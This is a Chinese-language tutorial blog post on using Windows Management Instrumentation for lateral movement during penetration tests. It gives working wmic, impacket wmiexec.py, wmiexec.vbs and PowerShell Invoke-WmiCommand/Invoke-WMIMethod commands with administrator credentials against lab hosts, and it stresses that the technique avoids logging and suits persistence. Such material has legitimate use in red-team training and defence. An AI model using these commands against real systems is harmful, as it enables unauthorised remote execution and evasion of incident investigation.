当前位置:   article > 正文

WMI的使用_kali 安装impacket-wmiexec

kali 安装impacket-wmiexec

介绍

WMI的全名为"Windows Management Instrumentation"。从win8后,Windows操作系统都支持WMI,WMI可以在本地或者远程管理计算机系统。

自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是乎攻击者转向使用WMI进行横向移动。在渗透时发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。因为这个过程不会记录日志,所以对蓝队来说大大增加了溯源的成本。对攻击者来说,被发现的可能性降低,隐蔽性提高。很多APT组织现在都喜欢使用WMI进行攻击。

基本命令

首先我们执行如下命令,将输出结果保存在目标机器对应的C盘目录下

wmic /node:192.168.108.101 /user:Administrator /password:Admin12345 process call create "cmd.exe" /c ipconfig >C:\ip.txt
  • 1

在这里插入图片描述
然后我们建立IPC共享命名管道,用于读取执行结果

net use \\192.168.108.101\ipc$ "Admin12345" /user:Administrator
  • 1

在这里插入图片描述

type \\192.168.108.101\C$\ip.txt
  • 1

在这里插入图片描述
其实接下来的话我们都可以使用wmic进行远程执行命令,但是目标服务器需要开放135端口,wmic会以管理员权限在远程系统中执行命令。如果目标服务器开了防火墙,wmic将无法进行连接。除此之外,单纯使用wmic命令它没有回显,需要配合IPC$命名管道和type命令进行文件内容的查看。若我们执行的是恶意程序,将不会留下日志信息。

impacket工具包中的wmiexec

在kali上安装impacket工具包,我们使用wmiexec.py这个利用脚本获取目标系统的Shell。该方法主要是从Linux向Windows进行横向渗透测试时使用

python3 wmiexec.py administrator:Admin12345@192.168.108.103
  • 1

在这里插入图片描述

wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。wmiexec.vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell。

cscript.exe //nologo wmiexec.vbs /shell 192.168.108.103 administrator Admin12345
  • 1

在这里插入图片描述
对于运行时间较长的命令,需要添加-wait 5000或者更长的时间参数。在运行nc等不需要输出结果但需要一直运行的进程时,使用-persist参数,就不需要使用taskkill命令来远程结束进程了。

Invoke-WmiCommand

该脚本调用WMI来远程执行命令,本质上还是在利用WMI。这里实施成功的权限为RemoteSigned

//目标系统用户名
$User="hacke.testlab\administrator"
//目标系统密码
$Password=ConvertTo-SecureString -String "Admin12345" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
//远程执行命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.108.103
//将结果输出到屏幕上
$Remote.PayloadOutput
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

在这里插入图片描述

Invoke-WMIMethod

利用powershell自带的Invoke-WMIMethod,可以在远程系统中执行命令和指定程序。这个命令的好处是不会收到策略权限的限制,是权限持久化的较好选择。

//目标系统用户名
$User="hacke.testlab\administrator"
//目标系统密码
$Password=ConvertTo-SecureString -String "Admin12345" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
//在远程系统中运行"计算器"程序
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.108.103" -Credential $Cred
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/611762
推荐阅读
相关标签
  

闽ICP备14008679号